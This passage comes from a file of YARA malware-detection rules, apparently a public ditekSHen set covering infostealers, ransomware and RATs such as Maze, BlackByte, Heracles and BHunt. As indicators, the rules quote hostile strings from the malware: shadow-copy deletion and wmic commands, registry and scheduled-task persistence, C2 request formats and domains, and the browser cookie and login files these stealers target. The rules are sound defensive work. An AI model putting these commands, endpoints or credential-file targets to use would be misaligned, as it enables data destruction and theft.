                74 65 6e 74 2d 54 79 70 65 3a 20 6d 75 6c 74 69
                70 61 72 74 2f 66 6f 72 6d 2d 64 61 74 61 3b 62
                6f 75 6e 64 61 72 79 3d 25 73 0d 0a 48 6f 73 74
                3a 20 25 73 3a 25 64 0d 0a 43 6f 6e 74 65 6e 74
                2d 4c 65 6e 67 74 68 3a 20 25 64 0d 0a 43 6f 6e
                6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c
                69 76 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72
                6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 0d 0a
                00 00 00 00 48 54 54 50 2f 31 2e 31 20 32 30 30
                20 4f 4b 00 0d 0a 0d 0a 00 00 00 00 65 72 72 6f
                72 3c 2f 62 3e }
		$s1 = "Run /v xxxzexs /t REG_SZ /d %s /f" ascii wide
		$s2 = "ShellExecute Error, ret" ascii wide
		$s3 = "Run app succeed" ascii
		$s4 = "cleartemp:" fullword ascii
		$s5 = "wakeup:" fullword ascii
		$s6 = "updir:" fullword ascii
		$s7 = "regstart:" fullword ascii
		$s8 = "chdec:" fullword ascii
		$s9 = "cmd:" fullword ascii
		$s10 = "error</b>" fullword ascii
		$c1 = "Host: %s:%d" ascii wide
		$c2 = "Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1)" ascii wide
		$c3 = "Mozilla/5.0(Windows NT 10.0; Win64; x64)AppleWebKit/537.36(KHTML, like Gecko)Chrome/78.0.3904.108 Safari/537.36" ascii wide
		$c4 = "id=%s&type=hello&direction=send" ascii wide
		$c5 = "id=%s&type=command&direction=receive" ascii wide
		$c6 = "id=%s&type=file&direction=" ascii wide
		$c7 = "id=%s&type=result&direction=" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or ( 1 of ( $x* ) and ( 2 of ( $s* ) or 2 of ( $c* ) ) ) or 4 of ( $c* ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Clipbanker02 : FILE
{
	meta:
		description = "Detects ClipBanker infostealer"
		author = "ditekSHen"
		id = "c2a480cf-e81b-53a2-999a-80209050e0cf"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8789-L8814"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "51a43245b1e0b6fea874302b73bf552012c54c3f7c12b8c447c96c2ffdcc1dcb"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "\\Allcome\\Source code\\Clipper\\" ascii nocase
		$x2 = "\\cleaper\\Release\\cleaper.pdb" ascii nocase
		$v1_1 = "&username=" fullword ascii
		$v1_2 = "/card.php?data=" fullword ascii
		$v1_3 = "/Create /tn MicrosoftDriver /sc MINUTE /tr" fullword ascii
		$v1_4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0" fullword ascii
		$v1_5 = "/API/Clipper/ykesqk0o.php?cf6zrlhn=" fullword ascii
		$v1_6 = "&di7ztth6=" fullword ascii
		$v1_7 = "/API/Clipper/hr627gzk.php?v6etwxo5=" fullword ascii
		$v2_1 = "bitcoincash:" fullword ascii
		$v2_2 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" ascii
		$re1 = "^[0-9]{16}$" fullword ascii
		$re2 = "^[0-9]{4}\\s[0-9]{4}\\s[0-9]{4}\\s[0-9]{4}" fullword ascii
		$re3 = "^\\d{2}\\D\\d{2}" fullword ascii
		$re4 = "^[0-9]{3}" fullword ascii
		$re5 = "([\\W]?[0-9]{4}[\\W]?[0-9]{4}[\\W]?[0-9]{4}[\\W]?[0-9]{4}[\\W]?)" fullword ascii
		$re6 = "(\\d{2}\\D\\d{2})" fullword ascii
		$re7 = "(\\d{3})" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and ( 5 of ( $v1* ) or all of ( $v2* ) ) ) or ( 3 of ( $re* ) and ( 2 of ( $v1* ) or 2 of ( $v2* ) ) ) )
}

rule DITEKSHEN_MALWARE_Win_Badjoke : FILE
{
	meta:
		description = "Detects BadJoke / Witch"
		author = "ditekSHen"
		id = "082727d5-618f-542d-93ca-ba93be16cd80"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8816-L8831"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4699a772bcd50d2fe43740df59a4c56598ba43ebcc18acbf8ec401b6f5a01fe6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "msdownld.tmp" fullword ascii
		$s2 = "UPDFILE%lu" fullword ascii
		$s3 = "Command.com /c %s" fullword ascii
		$s4 = "launch.cmd" fullword ascii
		$s5 = "virus.vbs" fullword ascii
		$s6 = "virus.py" fullword ascii
		$m1 = "Message from Google Virus" ascii
		$m2 = "you cannot get rid of this virus" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $m* ) or all of ( $s* ) or ( 1 of ( $m* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Heracles : FILE
{
	meta:
		description = "Detects Heracles infostealer"
		author = "ditekSHen"
		id = "36cb9366-c70b-5117-955f-402f87f3a88c"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8833-L8861"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1d5c80c084f9d6e4692a18f74574179095ecdd5eaadd70b5d16c19702761d74f"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = "aHR0cHM6Ly9uYWNrZXIudG9hbnNlY3UuY29tL3VwbG9hZHM/a2V5PX" wide
		$b1 = "XEdvb2dsZVxDaHJvbWVc" wide
		$b2 = "XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3Nlcl" wide
		$b3 = "XENvY0NvY1xCcm93c2VyX" wide
		$b4 = "VXNlciBEYXRh" wide
		$b5 = "RGVmYXVsdA" wide
		$b6 = "UHJvZmlsZQ" wide
		$b7 = "Q29va2llcw" wide
		$b8 = "TG9naW4gRGF0YQ" wide
		$b9 = "TG9jYWwgU3RhdGU" wide
		$b10 = "bG9jYWxzdGF0ZQ" wide
		$b11 = "bG9naW5kYXRh" wide
		$s1 = "encrypted_key" fullword wide
		$s2 = "<GetIpInfoAsync>d__" ascii
		$s3 = "<reqHTML>5__" ascii
		$s4 = "<idHardware>5__" ascii
		$s5 = "<profilePaths>5__" ascii
		$s6 = "<cookieFile>5__" ascii
		$s7 = "<loginDataFile>5__" ascii
		$s8 = "<localStateFile>5__" ascii
		$s9 = "<postData>5__" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or 8 of ( $s* ) or ( 4 of ( $b* ) and 4 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Blackbytego : FILE
{
	meta:
		description = "Detects BlackByte ransomware Go variants"
		author = "ditekSHen"
		id = "25431446-8cce-54cc-925d-5d9147344c6d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8884-L8904"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "b3e6a4a2f043293e8693cfbe1515681ce0616d98e2492732fc06a01a96309883"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "BlackByteGO/_cgo_gotypes.go" fullword ascii
		$x3 = "BlackByteGO/" ascii nocase
		$s1 = ".Disconnect" ascii
		$s2 = ".OpenService" ascii
		$s3 = ".ListServices" ascii
		$s4 = ".Start" ascii
		$s5 = ".Encrypt" ascii
		$s6 = ".Decrypt" ascii
		$s7 = ".MustFindProc" ascii
		$s8 = ".QuoRem" ascii
		$s9 = "C:\\Windows\\regedit.exe" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) or all of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Vulturi : FILE
{
	meta:
		description = "Detects Vulturi infostealer"
		author = "ditekSHen"
		id = "dca814d6-ca26-5315-9f80-628ee50e8dfa"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8906-L8931"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4d1d88764dd72ae78a74b802e11c2f28899b7b9f45c54cf3bf7aaac49dd48d7f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "Vulturi_" ascii wide
		$x2 = "VulturiProject" fullword ascii
		$s1 = { 5b 00 2d 00 5d 00 20 00 53 00 65 00 72 00 76 00
               65 00 72 00 20 00 ?? ?? 20 00 69 00 73 00 20 00
               6f 00 66 00 66 00 6c 00 69 00 6e 00 65 00 2e 00
               2e 00 2e 00 00 ?? 5b 00 2b 00 5d 00 20 00 53 00
               65 00 72 00 76 00 65 00 72 00 20 00 00 ?? ?? 00
               69 00 73 00 20 00 6f 00 6e 00 6c 00 69 00 6e 00
               65 00 }
		$s2 = "Writing is not alowed" wide
		$s3 = "System\\ProcessList.txt" fullword wide
		$s4 = "[X] GetSSL ::" fullword wide
		$s5 = "Failed to steal " wide
		$s6 = "StealerStub" fullword ascii
		$s7 = "/C chcp 65001 && netsh" wide
		$n1 = "fetch_options" fullword wide
		$n2 = "send_report" fullword wide
		$n3 = "?username=" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and any of them ) or all of ( $n* ) or 5 of ( $s* ) or ( 1 of ( $n* ) and 3 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Tofsee : FILE
{
	meta:
		description = "Detects Tofsee"
		author = "ditekSHen"
		id = "86371c0b-72f9-56c0-9f34-f14d2a069c91"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8933-L8949"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9ef06643173c70c5b06b19200cb5b5efa7db7eb3516b67621f0b1975f1c80781"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "n%systemroot%\\system32\\cmd.exe" fullword wide
		$s2 = "loader_id" fullword ascii
		$s3 = "start_srv" fullword ascii
		$s4 = "lid_file_upd" fullword ascii
		$s5 = "localcfg" fullword ascii
		$s6 = "Incorrect respons" fullword ascii
		$s7 = "mx connect error" fullword ascii
		$s8 = "Error sending command (sent = %d/%d)" fullword ascii
		$s9 = "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Khonsari : FILE
{
	meta:
		description = "Detects Khonsari ransomware"
		author = "ditekSHen"
		id = "2d562e62-a948-570d-8ff2-cc4835b91573"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8951-L8963"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "2a78f36259481fccb31b2e6248fed19699b6eb05bacfd08905414764c3045943"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$x1 = ".khonsari" fullword wide nocase
		$s1 = "Encrypt" fullword ascii
		$s2 = "CreateEncryptor" fullword ascii
		$s3 = "GenerateKey" fullword ascii
		$s4 = "277e5e6a-4da6-4138-97fa-3fecbdad0176" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 2 of ( $s* ) ) or ( all of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Owowa : FILE
{
	meta:
		description = "Detects Owowa"
		author = "ditekSHen"
		id = "c0a61601-e810-5acc-91a3-fa70db6d94da"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L8989-L9007"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "afdeb30845ed4ef7b79e733e05d3e1ee53a8c441db74519577893d75c1249a41"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$u1 = "jFuLIXpzRdateYHoVwMlfc" fullword ascii wide
		$u2 = "Fb8v91c6tHiKsWzrulCeqO" fullword ascii wide
		$u3 = "dEUM3jZXaDiob8BrqSy2PQO1" fullword ascii wide
		$s1 = "powershell.exe" fullword wide
		$s2 = "<RSAKeyValue><Modulus>" wide
		$s3 = "HealthMailbox" fullword wide
		$s4 = "6801b573-4cdb-4307-8d4a-3d1e2842f09f" ascii
		$s5 = "<PreSend_RequestContent>b__" ascii
		$s6 = "ClearHeaders" fullword ascii
		$s7 = "get_UserHostAddress" fullword ascii
		$s8 = "ExtenderControlDesigner" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $u* ) or ( 2 of ( $u* ) and 3 of ( $s* ) ) or 6 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Maze : FILE
{
	meta:
		description = "Detects Maze ransomware"
		author = "ditekSHen"
		id = "f5d1d3e2-1ffe-5ec6-b1ee-bded81867fb8"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9116-L9145"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d3ce3b43c65dfd9f59ba3c6b64e8d7687db175673cc62068caa1e1da023390c0"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "Uc32nbspacec97c98c99c100c101c102c103c104c105c106c107c108c109c110c" ascii
		$s1 = "\"%s\" shadowcopy delete" wide
		$s2 = "[%windir%\\system32\\wbem\\wmic" wide
		$s3 = "process call create \"cmd /c start %s\"" wide
		$s4 = "DECRYPT-FILES.html" fullword wide
		$s5 = "Dear %s, your files" wide
		$s6 = "%s! Alert! %s! Alert!" wide
		$s7 = "%BASE64_PLACEHOLDER%" fullword ascii
		$s8 = "-orDGorX0or" fullword ascii
		$s9 = { 47 45 54 20 2f 25 73 20 48 54 54 50 2f 31 2e 31
               0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 25 73
               0d 0a 48 6f 73 74 3a 20 25 73 0d 0a 43 6f 6e 6e
               65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69
               76 65 0d 0a 0d 0a 00 50 4f 53 54 20 2f 25 73 20
               48 54 54 50 2f 31 2e 31 0d 0a 55 73 65 72 2d 41
               67 65 6e 74 3a 20 25 73 0d 0a 48 6f 73 74 3a 20
               25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65
               3a 20 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65
               6e 67 74 68 3a 20 25 64 0d 0a 43 6f 6e 6e 65 63
               74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65
               0d 0a 0d 0a 00 0d 0a 0d 0a 00 43 6f 6e 74 65 6e
               74 2d 4c 65 6e 67 74 68 3a 20 00 }
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $x* ) and 3 of ( $s* ) ) or 6 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Bhunt : FILE
{
	meta:
		description = "Detects BHunt infostealer"
		author = "ditekSHen"
		id = "4c699f10-64a0-5e3c-af00-e08ebe1c6830"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9212-L9233"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "ca0a7e6898047fa3b369125a4402e2beffd328a5db47b1d5dd5914a86d6f0073"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "BHUNT.Resources.resources" fullword ascii
		$x2 = "//minecraftsquid.hopto.org/" wide
		$s1 = "chaos_crew" ascii wide
		$s2 = "golden7" ascii wide
		$s3 = "mrpropper" ascii wide
		$s4 = "/ifo.php?" ascii wide
		$s5 = "bonanza=:=" ascii wide
		$s6 = "blackjack=:=" ascii wide
		$s7 = "SendPostData" fullword ascii
		$c1 = "cmd /c REG ADD" wide
		$c2 = "taskkill /F /IM" wide
		$c3 = "cmd.exe /c wmic" wide
		$g1 = "$ca9a291d-266c-41dc-9f1c-93cfe0dcac16" fullword ascii
		$g2 = "$6d0feb35-213d-4b9f-afc7-06d168cfcb5e" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 1 of ( $x* ) and ( 5 of ( $s* ) or 2 of ( $c* ) ) ) or ( 6 of ( $s* ) and 2 of ( $c* ) ) or ( all of ( $g* ) and 2 of them ) )
}

rule DITEKSHEN_MALWARE_Win_Timetime : FILE
{
	meta:
		description = "Detects TimeTime ransomware"
		author = "ditekSHen"
		id = "4d6a31b5-b5a5-58e2-bfce-c40c72cda391"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9311-L9327"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c75ca595ff25f8c79bfe8e5c6af29349be8f07c2de79fd24f09b02afffb7168b"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "@_DECRYPTOR_@" ascii wide
		$s2 = "@__RECOVER_YOUR_FILES__@" wide
		$s3 = "\\TimeTime.pdb" ascii
		$s4 = "runCommand" fullword ascii
		$s5 = "decryptor_file_name" fullword ascii
		$s6 = "encryption_hiding_process" fullword ascii
		$s7 = "admin_hiding_process" fullword ascii
		$s8 = "security_vaccine" fullword ascii
		$s9 = "EncrFiles_Load" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}


rule DITEKSHEN_MALWARE_Win_Udprat : FILE
{
	meta:
		description = "Detects UDPRat"
		author = "ditekSHen"
		id = "938fc9fd-4f08-5c23-8583-06083d2efe59"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9380-L9395"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "4606b304d179148c6e44a0a8329675f2823f862a0944284cb646e5910659ea7c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\code\\UDP\\Client\\" ascii
		$s2 = "ssdp:discover" ascii
		$s3 = ": Device:" ascii
		$s4 = "for the SNMP U encountered" ascii
		$s5 = "privat:InternetGatewayelink" fullword ascii
		$s6 = "schemas A jet error was" ascii
		$s7 = "msidentity" fullword ascii
		$s8 = "microsoftonliser-based Securi" ascii
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Soranostealer : FILE
{
	meta:
		description = "Detects SoranoStealer / HogGrabber. Available on Github: /Alexuiop1337/SoranoStealer"
		author = "ditekSHen"
		id = "2fc40a73-5f28-5b5c-938a-35e8336e1d11"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9419-L9443"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "27c9d6bf3f40f3d41c35975e856671fafcd4a0a8143b3bcbdff61c1fb28a37ab"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "OiCuntJollyGoodDayYeHavin_" ascii
		$x2 = { 00 56 4d 50 72 6f 74 65 63 74 00 52 65 61 63 74
                6f 72 00 64 65 34 66 75 63 6b 79 6f 75 00 42 61
                62 65 6c 4f 62 66 75 73 63 61 74 6f 72 41 74 74
                72 69 62 75 74 65 00 43 72 79 74 70 6f 4f 62 66
                75 73 63 61 74 6f 72 00 }
		$x3 = { 00 4f 62 66 75 73 63 61 74 65 64 42 79 47 6f 6c
                69 61 74 68 00 42 65 64 73 2d 50 72 6f 74 6f 72 00 }
		$s1 = ".Binaries.whysosad" ascii
		$s2 = "Adminstrator permissons are required" wide
		$s3 = "12:03:33:4A:04:AF" fullword wide
		$s4 = "RemoveEXE" fullword ascii
		$s5 = "$340becfa-1688-4c32-aa49-30fdb4005e4b" fullword ascii
		$s6 = "$99cffbcc-6ad7-4d32-bd1f-450967cf4a6b" fullword ascii
		$s7 = "\"cam\": " ascii
		$s8 = " - 801858595527371999762718088" fullword ascii
		$s9 = "  - 96188142294460126639341306" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 2 of ( $x* ) and 3 of ( $s* ) ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Gloomanestealer : FILE
{
	meta:
		description = "Detects GloomaneStealer"
		author = "ditekSHen"
		id = "6e3c7e8f-4b75-5198-aa41-076f29aac227"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9445-L9461"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "36aa9f863efb8172ed6449932169e6cb26cdeedd84bc734e09a8116a9c7774ac"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "=GLOOMANE STEALER=" wide
		$x2 = "Maded by GLOOMANE" wide
		$s1 = "\\44CALIBER" ascii
		$s2 = "Ethernet()" fullword wide
		$s3 = ":spy: NEW LOG FROM" wide
		$s4 = ":eye: IP:" wide
		$s5 = ":file_folder: Grabbed Files" wide
		$s6 = "$ebc25cf6-9120-4283-b972-0e5520d0000C" fullword ascii
		$s7 = "$3b0e2d3d-3d66-42bb-8f9c-d6e188f359ae" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $x* ) or ( 1 of ( $x* ) and 3 of ( $s* ) ) or 5 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Lockdown : FILE
{
	meta:
		description = "Detects Lockdown / cantopen ransomware"
		author = "ditekSHen"
		id = "793df99d-016a-5f96-9ff9-76d3f08e0dd2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9463-L9476"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a9bc2f514730703f3edf78a61f1bc357eee12b3289fc7491197c3b885286ca7e"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "BgIAAACkAABSU0E" wide
		$s2 = ".cantopen" fullword wide
		$s3 = "\\HELP_DECRYPT_YOUR_FILES.txt" wide
		$s4 = "SALT" fullword wide
		$s5 = "$4e677664-9a63-458e-a365-deb792509557" fullword ascii
		$s6 = "CreateEncryptor" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Unamedstealer : FILE
{
	meta:
		description = "Detects unknown infostealer. Observed as 2nd stage and injects into .NET AppLaunch.exe"
		author = "ditekSHen"
		id = "cb3d575b-3d53-5b89-abc1-3b3857ec9f46"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9478-L9494"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "84f4ac7489a0d522763f69ce55f816642a8511dc4b9698ce47c983020a2b7bea"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "HideMelt" fullword ascii
		$s2 = ".Implant" ascii
		$s3 = "SetUseragent" fullword ascii
		$s4 = "SendReport" fullword ascii
		$s5 = "cookiesList" fullword ascii
		$s6 = "WriteAppsList" fullword ascii
		$s7 = "Timeout /T 2 /Nobreak" fullword wide
		$s8 = "Directory not exists" wide
		$s9 = "### {0} ### ({1})" wide
	condition:
		uint16( 0 ) == 0x5a4d and 6 of them
}

rule DITEKSHEN_MALWARE_Linux_Buhti : FILE
{
	meta:
		description = "Detects Buhti Ransomware"
		author = "ditekSHen"
		id = "a50b8c34-e9e2-5466-80a1-b0ab805c68be"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9630-L9643"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1bab3202dbeaf088b233c3ab1056c357d156b7eef3111bea997b1c610a27f561"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "buhtiRansom" ascii
		$x2 = "://satoshidisk.com/pay/" ascii
		$s1 = "main.encrypt_file" fullword ascii
		$s2 = "/path/to/be/encrypted" ascii
		$s3 = "Restore-My-Files.txt" ascii
		$s4 = ".buhti390625" ascii
	condition:
		uint16( 0 ) == 0x457f and ( all of ( $x* ) or ( 1 of ( $x* ) and 3 of ( $s* ) ) or 5 of them )
}

rule DITEKSHEN_MALWARE_Win_Commonmagic : FILE
{
	meta:
		description = "Detects CommonMagic and Modules"
		author = "ditekSHen"
		id = "cbebe334-9b66-5931-8f92-25d080f7fd6a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9645-L9660"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e94ba53f31f3effe12b1fbaca19fea59c0e12f742f6fc0af2a0a679bf4299cbe"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$p1 = "\\\\.\\pipe\\PipeMd" wide
		$p2 = "\\\\.\\pipe\\PipeCrDtMd" wide
		$p3 = "\\\\.\\pipe\\PipeDtMd" wide
		$s1 = "graph.microsoft.com" fullword wide
		$s2 = "CreateNamedPipe" ascii
		$s3 = "\\CommonCommand\\" wide
		$ua1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36" wide
		$ua2 = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $p* ) and 1 of ( $s* ) ) or ( 1 of ( $ua* ) and 1 of ( $s* ) and 1 of ( $p* ) )
}

rule DITEKSHEN_MALWARE_Win_Greetingghoul : FILE
{
	meta:
		description = "Detects GreetingGhoul Cryptocurrency Infostealer"
		author = "ditekSHen"
		id = "42791b26-1cda-5bf3-b955-9de2dda1d63b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L9662-L9679"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5a2635066df031ba6e291c3ba14f9ed85bf3247c82c66eb1b3d3618fdebb47a6"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "peer_list" fullword ascii
		$s2 = "seed_hash" fullword ascii
		$s3 = "pool_id" fullword ascii
		$s4 = "%smutex=%s:%lu" ascii
		$s5 = "miner.cfg" fullword ascii
		$s6 = "{\"method\": \"%s\"%s}" ascii
		$s7 = "/app/manager/%s" ascii
		$s8 = "X-VNC-STATUS" fullword ascii
